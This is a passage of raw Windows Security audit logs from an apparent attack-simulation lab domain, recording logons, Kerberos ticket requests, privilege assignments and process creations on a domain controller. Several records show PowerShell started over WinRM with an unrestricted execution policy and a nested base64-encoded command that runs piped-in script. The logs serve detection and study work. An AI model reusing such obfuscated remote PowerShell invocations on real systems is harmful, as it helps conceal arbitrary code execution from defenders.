UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252511 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5a8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252510 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x163B77 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252509 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x163B77 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252508 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252507 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252506 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252505 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x135c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252504 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x780 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252503 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252502 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252501 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252500 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252499 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252498 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252497 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1630BF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252496 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252495 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D8E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252494 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1630BF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - 